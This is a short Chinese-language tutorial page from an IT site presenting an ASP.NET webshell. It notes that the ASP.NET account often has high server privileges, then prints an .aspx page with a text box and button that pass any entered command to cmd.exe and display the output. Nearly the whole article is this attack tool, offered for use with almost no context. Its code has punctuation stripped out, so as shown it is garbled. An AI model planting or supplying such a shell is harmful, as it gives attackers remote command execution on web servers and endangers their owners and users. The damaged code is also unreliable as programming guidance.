asp.net

位置:IT落伍者 >> asp.net >> 浏览文章

一个ASP.Net下的WebShell实例


发布日期:2018年09月10日
 
一个ASP.Net下的WebShell实例
一个ASPNet下的WebShell主要完成cmd命令一般的服务器设置aspnet用户的权限都比较高如果asp的webshell无法执行可能aspnet的可以执行

代码如下

复制代码 代码如下:


<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="SystemRuntimeInteropServices" %>
<%@ Import Namespace="SystemIO" %>
<%@ Import Namespace="SystemData" %>
<%@ Import Namespace="SystemReflection" %>
<%@ Import Namespace="SystemDiagnostics" %>
<%@ Import Namespace="SystemWeb" %>
<%@ Import Namespace="SystemWebUI" %>
<%@ Import Namespace="SystemWebUIWebControls" %>
<script runat="server">
protected void exec(object sender EventArgs e)
{
string item = cmdText;
Process p = new Process();
pStartInfoFileName = "cmdexe";
pStartInfoUseShellExecute = false;
pStartInfoRedirectStandardInput = true;
pStartInfoRedirectStandardOutput = true;
pStartInfoRedirectStandardError = true;
pStartInfoCreateNoWindow = true;
string strOutput = null;
pStart();
pStandardInputWriteLine(item);
pStandardInputWriteLine("exit");
strOutput = pStandardOutputReadToEnd();
pWaitForExit();
pClose();
ResponseWrite("<pre>");
ResponseWrite(strOutput);
ResponseWrite("</pre>");
}
protected void Page_Load(object sender EventArgs e)
{
}
</script>
<form id="form" runat="server">
<asp:TextBox id="cmd" runat="server" Text="dir c:" /><asp:Button id="btn" onclick="exec" runat="server" Text="execute" />
</form>

上一篇:ASP.NET状态保存方法

下一篇:ASP.NET和ASP的区别